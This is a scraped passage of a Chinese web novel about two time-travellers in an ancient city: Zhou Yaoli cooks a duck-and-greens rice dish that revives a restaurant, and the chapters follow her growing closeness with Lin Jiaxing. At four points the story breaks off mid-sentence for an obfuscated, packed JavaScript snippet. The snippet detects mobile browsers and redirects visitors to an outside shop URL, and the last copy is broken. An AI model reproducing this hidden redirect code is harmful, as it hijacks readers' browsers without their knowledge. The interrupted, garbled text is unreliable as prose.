这里没有手机，他们交流太不便利了。有时突然想交代些东西，奈何俩人隔着距离又没法儿等太久。 “你要是有想提醒我的事项可以写在这，我看到了会去做的。”林嘉行翻动桌上的本子。 周瑶理干脆执笔蘸墨，在首页写下两个字。 暖居。 二人此时不得不佩服古人的智慧，每走进一处都能给自己惊喜。木质家具带来的古色古香有那么一瞬间，让周瑶理十分清醒。 她是闯入者，她和林嘉行不属于这。 还差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973403|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一处。 “我们睡哪儿？”周瑶理到现在都没找到自己的卧室。 方才经过厢房时，文竹说过那不是她的房间。 林嘉行引她穿过餐厅，绕到梅花屏后方。 “你住这间。” 原来这里也有房间。 梅花屏从堂屋遮至餐厅，也难怪周瑶理一开始没发现后头还有空屋子。 她还以为只是装饰呢！ 周瑶理住东边这间，因为正对窗户的是小花园。租房子给林嘉行的牙人说过，小花园种的桃花树。 入春后树长新绿粉花开，到时候一定很好看。 林嘉行则睡在另一侧靠近客厅的空屋子，他房间窗户对着的是水井。 “郎君姑娘，晚饭已备好，可需现在端上来？”面生的丫鬟走上前传话。 “那就吃饭吧。” 晚间，周瑶理躺在浴缸里舒服叹气。 这套院子的浴室很大，像现代一样做了干湿分离。左侧是厕所，右侧则嵌入式木质浴桶，中间还加了层白色材质。 看着像石质。 不管是什么材质，周瑶理都很开心。 终于！可以洗个非常舒服的澡了。 外头等待的女侍听见周瑶理的叹息声，以为出什么事了。 “姑娘可是有什么吩咐？ 周姑娘不让她进去，说是自己可以。 “没事，你玩你的。”隔着木门传来周瑶理沉闷的声音。 她可太幸福了，谁不想在大雪天里躲在暖房之中泡温泉。 “呼，这澡…淋浴好自在。”周瑶理侧头和银春说话，毛巾搭在头上胡乱擦。 “姑娘走快些别着凉了。”银春见她穿的单薄，头发还湿湿的往下滴水，恨不得抬着她回去。 再这样下去会得风寒的。 “你在看什么？” 突如其来的靠近打得林嘉行措手不及。 他比周瑶理先洗完，想着这满院子的人他也不熟，怕出岔子便等在堂屋，等周瑶理洗完出来才放心。 没想到看入迷了，连人走到面前都没发觉。 对方身上被皂香包围，和自己身上的味道是一样的。 直到手背有过冰激的触感，他才发现周瑶理发尾的水珠正滴滴答答掉落在他袖间。 刚走进堂屋就见林嘉行捧着本书坐在太师椅上，看得入迷。想说他在看些什么名文著书，凑近一问还把人吓着了。 再侧头就瞥见他手里端着的书哪是什么名著，分明就是话本子。 “你也看这本啊，我早看过了。” 周瑶理之前学认繁体字时经常去书肆借书，瑜娘还让她多看些文人书著呢。 可惜太枯燥了，她一看就犯困。 林嘉行看的这本周瑶理在来江郡前刚看过，讲的是求学无果最后悲愤在湖边自刎的年轻郎君，死后成仙和仙女娘娘之间的爱恨情仇。 “太狗血了。”周瑶理还记得自己看完吐槽，没想到古代也爱看这些。 林嘉行合上书：“不要剧透。” 周瑶理抱拳后退三步：“打扰了。” 林嘉行手握拳抵住嘴边轻笑，再抬头就看周瑶理头发还湿漉漉的。 “头发擦干了再睡。” 周瑶理边说着知道了边转身，举起手往后挥几下。 “晚安哦。” 28. 饭馆拯救计划 自打搬进来后，周瑶理每天又能多睡一刻钟。之前住的客栈离饭馆太远了，每次起床都跟打战似的捯饬完就往店里跑。 林嘉行也找到自己的位置，每日清晨目送周瑶理出门上班。 “路上注意安全，晚上早点回来吃饭。”一大早的林嘉行便裹着裘子站门口，看她睡眼惺忪地踏上马车。 “知道了，你回去吧。” 周瑶理话还没说完，打了个哈欠呛得满口冷气，赶紧钻进舆内露出个头朝门口的方向摆手。 等马车走远林嘉行才转身进门，刚转脚步便瞧见隔壁家的夫人正催促小孩儿上学堂。 二人对上眼，那位夫人尴尬地朝他点头。 正所谓家丑不能外扬，隔壁郎君天天看她拽自己兔崽子塞进马车，来回几天她都脸上无光。 “阿娘，隔壁那位郎君怎么每天都在家，反而让自家娘子出去做活？”隔壁的书童等人进了门，小声和娘亲八卦。 “你还有心思管这个，夫子让你写的文章写好了吗！”夫人瞬间往他身上拍了一掌。 这下不用她催了，那学生自己钻进马车快快离去。 林嘉行半点儿不知自己成了别人家的饭后闲谈，乐得自在，这会儿正准备写封信寄回家。 还是前几天文竹提醒他，到江郡这么久都没给言安主家写信，老太太怕是惦记着呢。 他在昌南道时写过一封，但又不是他写。 文竹代笔。 实在不怪他，那会儿他的繁体字库储存量不高，支撑不了他写完一封家书。但现如今连古本子他都看得懂，家书合该由他自个儿写。 周瑶理庆幸自己运气怎么这般好，寻到的店家大多好相处得紧。 饭馆才刚开张不久，掌柜的连菜单都没完全定下来。她想着倒不如把自己在昌南道学的几道菜一并挪到这，正好能帮东家顶一阵日子。 没想掌柜的接受得特别干脆，甚至周瑶理都没让她试菜就采用了。 “能从入围赛晋级的厨子，会差到哪儿去。”李元玉如是说道。 只是。 从开店至今饭馆的生意惨淡，每天也就几个歇脚的客官，连带周瑶理她们都清闲不少。 这不刚过饭点，一群人就已经悠闲地坐在大堂喝茶聊天，插科打诨。 “小周你不是江郡人吧？”陈大娘八卦道。 闻言大伙儿全都竖起耳朵听八卦，周瑶理的家世该是在座各位最好奇的。 明明不是本地人，才到江郡几天便寻到好住处，一打听居然还住在丰乐坊。 要知道丰乐坊那儿可全是二进院子，能住那儿的，少说身家都有几个子儿。 陈大娘不明白，既然她家世称得上不错，为何还要在饭馆当厨子。 起早摸黑的，还不如在家睡大觉清闲。 “我也是沾了别人的光。”周瑶理支支吾吾解释道。 她也想在家睡大觉啊，但是谁叫她良心不过去呢。 一想到自己吃别人的睡别人的，周瑶理晚上就睡不好。虽说林嘉行确实得依仗着她才能回现代，多‘孝敬’自己也说得过去。 可是周瑶理觉着长此以往总会出事的。 “听掌柜的说你和家里人住。”李元玉说过周瑶理和兄长住一块儿。 其他人想到每天傍晚下了工，店外头就有马车等着她。 周瑶理想了想该怎么解释她和林嘉行的关系才显得不唐突，最终含含糊糊说是家人但不是亲人。 陈大娘点头，表兄妹！ 大家聊得正欢，猛地听见外头传来叫喊声，纷纷起身向外走。 刚走两步就见东家拎着两只扒了衣服的鸭子走进来，瞧见她们跟遇见救命恩人一般。 李元玉将两只野鸭塞进陈大娘手里，累得坐倒在凳上猛灌两杯茶水才缓过劲儿。 乡野鸭子就是不同，足斤足两的。 众人七嘴八舌问她哪寻来的鸭子，瞧着肉质不错。 “我乡下亲戚进城探亲，顺带给我捎点乡野趣味。”大冬天的，给李元玉累出汗了。 突然闯入两只鸭子，大伙儿也不知怎么处理。有人提议做卤鸭罢，随后想起店里没一个人会做。 周瑶理会是会，但这里的材料不全做出来怕是滋味不佳。 “不如做野鸭菜饭吧。”她还会另一种做法，就是麻烦些。 不过店里材料都有，只差猪肉。 李元玉说简单，让人去肉摊提就是。 不多时店里忙乎起来，买肉的买肉，备菜的备菜。 周瑶理叮嘱去买肉的小鱼，记得是肥瘦都要连皮都不能少，外带一块肥膘。 店里生意不佳的缘故，后厨还剩不少食材，周瑶理捡了一篮子青菜叶子开始备菜。 冬季少绿叶，雪里蕻算得上菜中红梅。大雪纷飞的天儿也不妨碍它在地里翠绿亮眼，炒着吃腌着吃都很不错。 这次新鲜的雪里蕻和腌制过的都得用上。 趁猪肉还没买回来的空隙，周瑶理把鸭肉肢解，连鸭腿都去骨整块取出。 斩鸭的功夫，灶台上的水已烧开，被分成大小不同的鸭肉块放进滚水中等待煮熟。 陈大娘帮她看着点儿火，周瑶理转身像处理鸭肉那样将鸡肉也剔骨取肉，再分成等块。 “小周，鸭肉看着好了。”陈大娘掀开盖子一看，正是捞出的时候。 周瑶理端来盆取出煮熟的鸭肉，刚转身就见陈大厨端起铁锅就想把煮鸭肉的汤倒掉，急得她大喊放下。 “这汤可是精髓，等会儿煮鸡肉猪肉也要用这锅汤。”周瑶理拉住陈绣，慢条斯理跟她解释道。 野鸭菜饭除了各种肉丁之外，重中之重的则是煮三肉的汤。到时候焖饭用的就是这锅汤，不然出不了滋味儿。 小鱼拎了块猪肉跑进来，陈绣接过后按周瑶理说的片皮切丁。 三肉全部分丁搞定备用。 周瑶理另起炉灶猛火烧锅，将菜梗丁投入瞬间锅中冒起白烟，翻炒几下再投入菜叶。 陈绣拿来三肉丁等在一旁，只待周瑶理捞出菜叶子便全部倒入。 火腿丁、笋丁、连带猪皮丁和板油丁，一样不落全部在锅中老友相聚。 这时就得看高汤出场。 将另一边锅中的高汤转移到炒锅中，倒入淘好的米不断推动防止粘锅。 在外头的李元玉也没闲着，往店门口搬桌子。 夫郎瞧见了连忙上前询问自家娘子，好好的往外撤桌子干嘛。 “小周这不是做新菜吗，菜量多咱们人少又吃不完。” 她打算好了，到时候每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979246|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛一小碗足够了，剩下的全部拿来招待路人免费试吃。 她就不信，今天过后店里生意还像这天儿一样冷。 夫郎觉得她是被银子蒙了眼，都还没尝到味儿呢，怎么就笃定那姓周的厨子做出来的东西美味至极。 “你闻闻后厨飘来的味道，不馋人吗？”李元玉懒得搭理他，满心满意只顾着挪桌子。 李家夫郎闻言真停下来仔细轻嗅，夫人确实没骗他。 衣袖一掀，和李元玉一块搬。 路过好凑热闹的人见了上前询问，得知饭馆今日有免费试吃，揣手等在原地。 一个二个，慢慢等待的人在店门后挤作小团。 李元玉干脆让他们进店等，有免费茶水。 众人一窝蜂涌进店内，刚踏过门槛就闻到一阵阵焦香。 “掌柜的这是做什么好吃的。”素日爱吃美食的娘子到处轻嗅，最后定位在后厨的方位。 “各位不着急，等会儿便揭晓。” 许是后厨飘来的香味把客官肚子里的馋虫都勾出来了，许是临近晚饭点，不少人干脆留在饭馆吃饭，喊店小二点单。 李元玉差点嘴都要笑烂，好在还存了点理智。 “我家厨子现在做的是亨鸭菜饭，各位点些小菜即可。” 她把野鸭改成了亨鸭。 野鸭不常有，但她生意要做新品是要推出的。谁知道亨鸭是什么，到时候用品质好些的鸭子顶上便是。 周瑶理紧盯着铁锅，本来需要转到砂锅里头，奈何店里没那么大的砂锅。只好将火柴抽出，留下微小火苗煨着。 她正盯着锅发呆，后厨突然挤进几人开始洗菜备料。 “来客人了吗？”周瑶理一脸懵地看向陈绣。 对方让她安心盯着锅，其余的有她们在。 锅里慢慢传出焦香味，周瑶理立马开盖铺上新鲜的、腌制过的雪里蕻。 她之前看过做法，说是只取菜香，出锅即可把菜叶子挑出。 但这不是现代，正是人人需要温饱的社会。 周瑶理决定不把菜叶子挑出来，到时候混在一起搅和均匀。 “出锅了！”当她端着一大盆菜饭走出来，差点被吓住。 店里什么时候生意这么好了，入职许久从未见过饭馆满员的情况。 “小周立大功，等生意好起来每月给你涨20文！” 等周瑶理放下东西，李元玉拉住她往边上站，凑在耳边咬耳朵。 “刚刚闻到的就是这个味！” “娘子小心烫。” 小鱼手下不停地盛饭，店小二托盘上装三碗，一手一个托盘。 “鸭肉肥而不腻瘦而不柴，饭粒混着油香，好吃！”先头那位被香味馋得不行的娘子终于吃上心心念念的菜饭，不住地点头。 “里面不止鸭肉呢。” 多数人已经尝出亨鸭菜饭里的百味，即使边上坐着的不是熟人也在交头接耳分享自己的发现。 店里坐满了人只好暂停营业，陈绣她们终于可以歇会儿吃口饭。 李元玉不亏待自家伙计，早在一开始就分出店里人的量留着。 “我就不跟大家一块吃了，家里人还等我回去。”周瑶理边摘围裙边说。 掌柜的一看门外，马车果然等着。 29. “都听你的” 去接周瑶理的马车走了好一会儿，林嘉行坐在堂屋等上一阵都没见着内院进来人，时不时抬眼看向外头。 翻书的动作慢下来，也不知道看进去没有。 片刻后听见前院传来叽喳声，下秒垂花门那儿便出现个黄色身影。 周瑶理抱着个竹筒匆匆进门，嘴上还催促后头的文竹走快些。越逼近年关，天儿是越发冷了。 好在饭馆离家不远，到家时竹筒还是温热的。 刚迈过门槛，林嘉行已经站在内院的石桌旁等她。 周瑶理连忙加快脚步跑去，拽住他的衣袖就往屋内跑。 “快进屋，冷死了。” 银春接过她的裘子，林嘉行这才发现她怀中还抱着东西。 “猜到你快回来了，方才让厨子把菜都温上，这会儿刚刚好。” 说罢，一盘盘热菜端进来。 周瑶理将竹筒放在桌上，说正好带了好东西回来。 边说边让人取了碗来，再均分成四份。 李元玉大手笔拿的竹筒深，给她装了满满一桶。光靠她和小林俩人是吃不完的，给身边的文竹和银春也都分了一碗。 “都愣着干嘛，吃呀！”周瑶理看了眼边上傻站的三人，一屁股坐下率先尝了口。 还是自己做的饭好吃！ “这是…鸭肉菜饭？”林嘉行尝了口，味道和前几年在扬州吃的很像。 周瑶理点头，“你也知道？掌柜乡下亲戚自己养的鸭子，肉质可好了。” 林嘉行刚说完几年前有尝过，另一边埋头苦吃的文竹愣住。 “言安哪有这个，郎君怕是记混了。” 他打小便跟着林嘉行，绝不可能错过郎君的一日三餐。 林嘉行尴尬瞄了眼周瑶理，俩人脸上都是憋不住的笑意。 可不是记混了吗，这里是雍都。 “可能是我之前和他说过，小林睡觉做梦梦到了。”周瑶理找补道，朝他使了个眼色。 林嘉行附和。 晚上周瑶理照例洗完头窝在塌上擦头发。这哪儿都好，就一点不好。 没有吹风机。 可惜她每天都待在后厨，下了班浑身都是油烟味，头发沾味儿更甚。 银春第一次见有人家每天沐浴完出来头发都是湿的，几次过后便摸着规律，每晚都捧着干巾等在门外。 夏季也就罢了，偏偏是这严寒冽冬。 周瑶理自己擦累了换银春帮忙，自己坐着发呆。 “还从未见过姑娘挽发髻呢。” 从她见周瑶理第一面起，每天都能看周姑娘不是将头发高高束起就是低低挽在一侧，随便拿根簪子固定。 首饰盒里最多的就是发带，五颜六色的。 “不好看吗？”周瑶理回过神，笑着问银春。 得益于她在现代也是长发，来到雍都也不算太突兀。只是周瑶理才发现原来古时候的人也会用假发，难怪每个人看着都发量惊人。 不过她懒，每天随便挑根发带绑个马尾简单了事。 银春以为自个儿说错话，着急忙慌解释。 说好看的，很适合周姑娘。 周瑶理便起了逗她的心思，问哪里好看？怎么适合？ 肉眼可见把小姑娘惹急眼了，周瑶理忙收起先头的心思。 “同你开玩笑呢。” 本以为这事儿到此翻篇，没想到银春沉默几秒才说。 周姑娘束高发看着特别爽利，一眼便知是个说一不二的娘子。 说完还撇了眼门口的位置，随后凑近周瑶理在她耳侧小声吐槽。 “就连林郎君都对姑娘言听计从。” 周瑶理闻言错愕，她怎么不知道林嘉行对她言听计从了？ 银春摇头，周姑娘每天早出晚归的肯定不关注这些。 “姑娘说厅内竹垫上的毛毡太丑了，郎君第二天就换新的了。” 那是因为真的很丑，周瑶理刚提这事儿他就应下了。 “周姑娘提了嘴厅内没有坐塌，林郎君立马喊人做了床榻送来。” 她确实说过客厅没有沙发很不顺眼，但平时她都在外工作。 那张新坐塌不也是林嘉行在用吗？ “郎君平日不在厅内闲坐。”银春小声反驳。 林嘉行每天送她出门，回去就钻进房间里了。 只有周瑶理快下工的时刻才会出来等着。 银春还说，“我上一户雇主家的郎君同夫人也这般，老夫人说这叫…” 那个词儿叫什么来着，“哦，琴瑟和鸣！” 周瑶理面前晾着杯热茶，好不容易等茶水渐温才好端起来抿一口。结果就听见银春最后说的四个字，呛得她快咳死在屋内。 “哎哟说不得，这话说不得。” 周瑶理缓过劲儿后在银春手上轻拍几下，叮嘱她小孩子别乱说话。 银春不服：“我今年十五，过了年就十六了。” 恰巧这时外头响起林嘉行的声音，“出什么事了吗？” 银春立马捂住嘴巴，瞪着双眼看向周瑶理。 眼里分明写了四个大字，我没说谎吧！ 林嘉行在堂屋看小说入迷忘了时辰，一问文竹才知快十点了。之前这时候周瑶理估计都快准备睡了，今晚房间烛灯还亮着。 刚想回房就听见她的房间传来剧烈的咳嗽声，他以为周瑶理感冒了。 这几天天气越来越冷，周瑶理每天晚上都顶着头湿发往屋里跑。 屋内的女声说没事，让他赶紧睡觉去。 末了，林嘉行叮嘱两句便回了屋。 昨晚银春的胡言乱语可是让周瑶理在意了一夜，早上刚绕过梅花屏就见罪魁祸首之一也在。 林嘉行收拾干净走出屋子和周瑶理打上照面，只见她嘴巴紧闭瞪着自己，最后哼了一声转身走进餐厅。 他一句‘早安’卡在喉咙不上不下。 林嘉行自我反思是哪里得罪她了吗？想了半天终于有思路了。 每天都得早八的人看见舍友悠闲待在宿舍，确实会心里不平衡。 “天气太冷的话，要不和东家请两天假？”他夹了一筷子放在周瑶理碗中。 没理他。 林嘉行看了眼文竹，对方朝他疯狂眨眼。 郎君再接再厉。 “上班累了我带你出去玩几天？”举着小笼包的筷子伸向空碟。 周瑶理挪开碟子。 林嘉行放下筷子静静看了眼周瑶理，随后下定决心开口。 “那要不我陪你一起去上班？” 周瑶理吓掉调羹，满脸惊恐地望着他。 “大哥你在饭馆能干嘛？”留子也会洗盘子上瘾吗。 她本来就因为这人一天都没过好，一大早的还整这出。 周瑶理自觉不能对盟友态度如此恶劣，决定将早上的小插曲翻页。 林嘉行照例送她出门时发现周瑶理心情好了很多，还时不时瞄他几眼。 最后一次被林嘉行抓住，“我今天穿得很奇怪吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983481|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他今天的袍子是自己穿的，没让文竹插手。 周瑶理闻言摇头，说很好看。 身量高的缘故肩膀也宽，圆领袍子上身显得身姿挺拔。 想了想周瑶理再补上句你穿蓝色的衣服好看。 从一开始她就觉得林嘉行穿蓝色系的袍子很好看，一看就是个学习好的郎君。 突入其来的夸奖砸得他有点反应不过来，呆呆说了句你今天也很好看。 说罢低下头将下巴埋入裘子毛领里。 周瑶理被他这通操作弄得有些不好意思，也缩进披裘内只露出半张脸。 俩人视线相交的瞬间不约而同咧嘴笑了起来，隔着毛领子只看得见两双弯成月牙的眼睛。 离开前周瑶理对林嘉行说快过年了，找个时间我们去成衣铺转转。 林嘉行点头，嘴角还噙着笑意上前替她放下帘子。 “都听你的。” 早上备菜的时候周瑶理满脑子都是那句‘都听你的’，不由得哼笑出声。一旁处理肉块的陈绣被她吓住，还以为是身体不舒服。 “没事吧小周，累了就休息会。”一大早的心不在焉，陈绣拿走她手中的刀，怕周瑶理不注意划伤手。 周瑶理回过神不好意思笑了笑，真是男色误人！ “不累，这还没开店。”说完一摆手，怎么刀不见了。 转头发现刚还在自己手里的刀莫名其妙跑到陈绣手中，周瑶理又把刀夺回来。 陈绣再三确认她没事才放心继续做自己的活。 趁人不注意，周瑶理在脸上轻拍两下。舍不得拍重了怕伤着自己，又在脸上搓了两把。 “好好工作，别被美色耽误！” 经过昨天那道亨鸭菜饭，饭馆今日生意好了不少，还有些昨日没尝到的，今儿特地来凑热闹。 周瑶理进饭馆以来，第一次从早上就开始忙得晕头转向。 李元玉站在大堂中满意地环顾自己的‘江山’，十分感谢当时的自己把周瑶理留下来。 “老娘真是有贵人运。” 李家夫郎闻言望了眼自己娘子暗暗点头，感慨自己也很醒目。 还好当年上榜无望转头入赘了李家，不然现在温饱都成问题。 午饭点过后店里才慢慢空下来，周瑶理她们在厨房收拾残羹准备下午场的食材。 “累死了...”小鱼在身上胡乱锤几下，转头倒进周瑶理怀中。 周大厨每天头发都没有油烟味，好神奇。 几人正聊着天呢，猛地听见大堂那传来李元玉的喊声，忙不迭时跑出去。 周瑶理还不忘转身捞过锅铲在手中掂量。 很好，是个砸人的利器。 “掌柜的怎么了！”众人从帘后窜出四处张望。 歹人没见着，倒是看到个儒雅郎君立于堂中，她们东家双手叉腰逮着个小书生骂。 “老娘送你上学院是去读书的，你倒好跟人切磋功夫去了！” 小孩被骂得不敢作声，边上的那位郎君柔声劝和。 “只是学生间的口角，夫人莫紧张。” 周瑶理盯着那人越看越熟悉，好似在哪儿见过。 对方也察觉到一道灼灼视线，转过去便撞上周瑶理的目光。 周瑶理想起来了，是那位帮她抢回荷包的郎君。 袁敬文此时认出她来，笑着同她鞠礼。 “姑娘原是庖厨。” 周瑶理这才想起手中的锅铲，忙背在身后尴尬一笑。 30. 冬日的栗子南瓜羹 “小崽子在书院惹事还得麻烦夫子送回来，实在不好意思。” 李元玉在自家儿子头上敲了个爆栗，转头满脸歉意地跟袁敬文赔罪。 周瑶理第一次见掌柜家的孩子，仅一面便知肯定是亲生的。 身上那股机灵劲儿和李元玉太像了，就连眼珠子滴溜转的时候都更甚。 李家小郎君也是初见周瑶理，趁他阿娘还在和袁敬文说话的空隙，悄悄凑近扯了扯她的衣角。 “你是周大厨吗？”他先前听阿娘说过，饭馆请了个很会做饭的年轻厨子。 周瑶理点点头，这孩子不认生。 “周姐姐认识我们夫子吗？”他刚刚看见夫子和周大厨行礼来着。 见这孩子自来熟喊上姐姐了，周瑶理不由得憋笑，悄声提醒他。 “认识是认识的，但你要不先关心一下掌柜的。” 李元玉已经两眼冒火盯着他看许久，果然下一秒李小郎君的耳朵便遭了殃。 “李继荣你长本事了！” 周瑶理连忙上前和袁敬文一人拉一个，好歹将母子俩都分开。 好说歹说李元玉才降下火气，隔空点指自家孩子让他好自为之。李继荣躲在周瑶理身后，嘴上还念叨着下次不敢了。 这时东家才有心思琢磨其他的，她瞧小周和这位夫子就蛮般配的。 “光顾着臭小子都忘了提，袁夫子和我们小周原是旧相识？” 说罢还朝周瑶理挤眉弄眼一番。 她只好无奈解释，刚来江郡时碰上袁夫子见义勇为，这才‘不打不相识’。 李元玉哪管他们是初见还是再遇，一门心思想撮合他俩，袁敬文准备离开时还特地让她帮忙送送。 “这臭小子都喊你姐姐了，你就帮帮忙。”李元玉扯过李继荣当幌子。 周瑶理无奈，见那郎君面上没有被冒犯的神情，这才应了下来。 “我们东家就这样，夫子千万别放心上。”周瑶理送他出去时生怕对方误会，不好意思解释道。 她可没有想要骚扰良家夫郎的心思！ 对方摆手直说无碍。 俩人站在门口进也不是退也不行，尴尬吹冷风。 最终还是周瑶理先挑起话头。 “早些时候便总是听东家喊袁夫子，我还以为你是胡子拉碴的老头呢。” 印象里能被叫夫子的全是老头形象，她哪想过此夫子居然是个面色净白身形俊朗，瞧着和她差不多大的郎君。 “也不止周姑娘如此想，许是袁某的问题。”袁敬文难得有兴致和旁人打趣。 一来二去倒也不尴尬，聊到荷包那事儿袁敬文还调侃她道，“原以为姑娘上回说请我吃饭是客套，没成想周姑娘确实技艺了得。” 周瑶理顺着他的目光看向手中的锅铲，扑哧笑出声。 “那肯定，下回你来饭馆我请客！” “小周把夫子送走啦？”李元玉站在柜台后笑眯眯地说道。 她早就瞧见了，两个年轻人在门口那是相谈甚欢。 周瑶理疑惑点头，她刚不是看见了吗？ 李元玉这下从柜台窜出来，扯开凳子就要拉她坐下。 都不用想周瑶理就知东家要跟自己聊什么，寻个由头起身想跑。 “店里又没人你去后厨干嘛？” 周瑶理顿住，环顾一周确实没看到客人，反而是陈绣她们都在外头坐着，这会儿正往李元玉这块地方凑。 行吧，不管是现代人还是古代人，都拒绝不了八卦这件事。 叹气坐下，周瑶理双手一摊，“问吧。” 出乎意料的是大伙儿居然没问她和对方的事儿，反而关注起袁敬文这个人。 “袁夫子年岁这么轻，怎么不参加科考？”小鱼问出众人最关心的问题。 “他也是个可怜的。”这可问到点上，李元玉最熟悉。 以袁敬文这个年岁合该跟其他书生一起，寒窗苦读只待榜上题名。 奈何年初时袁夫子家中相依为命的阿祖病重，权衡之下他便放弃了今年的科考，一心一意照顾阿祖。 好在他学识不错，留在书院当个夫子即能关照阿祖也好讨个生活。 只可惜袁敬文的阿祖还是没撑住，年后便走了。 “原来还是大孝孙。”周瑶理感慨。 能在高考前夕为家人而放弃，不容易。 “可是呢！”李元玉抽出帕子在眼角按了按，拉过周瑶理的手轻轻拍着。 刚想说这人品性不错就见店内来了客人，手中虚握住的手咻地抽出去。再抬头，周瑶理已经跑到客官面前询问吃点什么。 李元玉：厨子比东家还关心生意怎么办？ 林嘉行践行诺言，在周瑶理得空的日子陪她出去游玩一番。 昨晚提起出去玩的事周瑶理还以为他之前只是开玩笑而已，居然没诓她。今儿二人一早收拾妥当，套了马车径直朝江边的方向赶。 刚来江郡时周瑶理便相中那亭子，还跟林嘉行说过等自己得闲了也要坐在那儿赏雪。 她要细细感受古代诗人是怎么在美景下作诗的。 但是在亭子内吹了大半小时的冷风后，她就忍不住拉起林嘉行向马车的方向一路狂奔。 俩人从湖心亭匆匆像外跑，林嘉行跟在后头被她拽着袖子，一路上止不住偷笑，最后笑得越发放肆。 等到马车附近周瑶理才堪堪停下脚步，松开手中拽住的衣袖喘着气问他，“你笑什么？” 天寒地冻，一张嘴就冒白雾。 隔着雾气她看不清林嘉行的表情，只知道他嘴巴张合见吐出嘲笑她的话。 “不是说要体会当地人文，成就诗人之气概吗？” 怎么才半个小时就逃跑了。 周瑶理哽住，嘴硬回呛，“刚刚是不是你打喷嚏了，我是为你的健康着想。” 虽然江风确实有点冷，但绝对不是她输不起！ 玩儿是玩不成了，回程的马车上周瑶理百无聊赖地玩自己氅子上的毛穗。好不容易饭馆放假，谁知道外头这么冷。 瞧她这幅打蔫儿的模样，林嘉行绞尽脑汁搜寻些不吹风的活动。 “要不去茶馆喝茶？”热乎乎的茶正好可以暖手。 周瑶理说没意思。 “那去看人下棋？”这里蛮多棋牌馆，看着都挺热闹的。 周瑶理拒绝，她还没到喜欢看人下象棋的年纪。 最终俩人还是老老实实回家去。 早前银春还听姑娘说要和郎君去赏雪，结果才没多久，说要赏雪的俩人又垂头丧气地回来。 “姑娘不是说去寻乐子吗？”银春给她递上暖手炉。 不说还好，听完周瑶理嘴巴一撅，留下句太冷了便跑开。 银春回头看了眼林嘉行，只见郎君将手揣在袖子内，盯着周姑娘离开的方向好一阵，最后撇开脸自顾自笑起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987272|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林嘉行绕过座屏时，周瑶理正蹲在暖炉旁苍蝇搓手状取暖，嘴上还念叨什么再也不跟小林出去了。 林嘉行好不委屈，“好不讲道理。” 周瑶理斜瞄他一眼，又哼声转头。 “姑娘昨儿说的野栗子已经买好了。”方才银春就想告诉她，结果周瑶理生着闷气跑走，抓都抓不住。 蹲在边上烤火的人闻言猛地抬头，可以吃栗子南瓜羹了！ 干脆一不做二不休，周瑶理弹起来顺带把林嘉行也拽起。 林嘉行被拽得一踉跄，领子都被她扯歪。 周瑶理见了顺手帮他整理端正，“找点事儿做。” 从早上开始就被她拽着往东又往西，林嘉行早已习惯。懒散脚步跟在后面也不恼，问她要做什么。 周瑶理声音明显轻快许多，“教你做甜点。” 之前她办乔迁宴那会儿林嘉行有帮过忙，这次完全不陌生，刚走进厨房就自己取下围裙系上，等待她发号施令。 周瑶理取下襻膊转头看他两个大袖子垂在身侧，干脆给他绑上。 “这个也得戴哦。” 林嘉行老老实实等她系完，随后有样学样地替周瑶理也绑上。 其实她自己绑更快，但既然人家有心便不好拒绝。 一切准备就绪，周瑶理指挥他去切南瓜，自己则处理难剥的栗子。 想要快速剥开栗子壳并不难，只需在栗壳上割划出十字再丢入热水中煮至黄肉轻微露出，最后快速捞出放进冷水十分钟即可完整将栗肉取出。 林嘉行停下切南瓜的动作，瞧见她轻松取出栗子肉，不由得朝她竖起大拇指。 周瑶理得意挑眉，“厉害吧。” 将处理好的南瓜和栗子一起上锅蒸熟。与此同时，周瑶理翻出糯米粉准备再做点圆子加进去。 等面团成型，周瑶理开始分块搓圆。林嘉行等在边上终于找到帮忙的机会，举着双手上前。 周瑶理斜眼睨过，决心逗他，“洗手没？” 闻言林嘉行顿住，虚空按压心口处假意伤心，“原来在你眼里我这么不爱干净。” 俩人在厨房内嬉笑打闹，文竹和银春等在外头笑得眉不见眼。 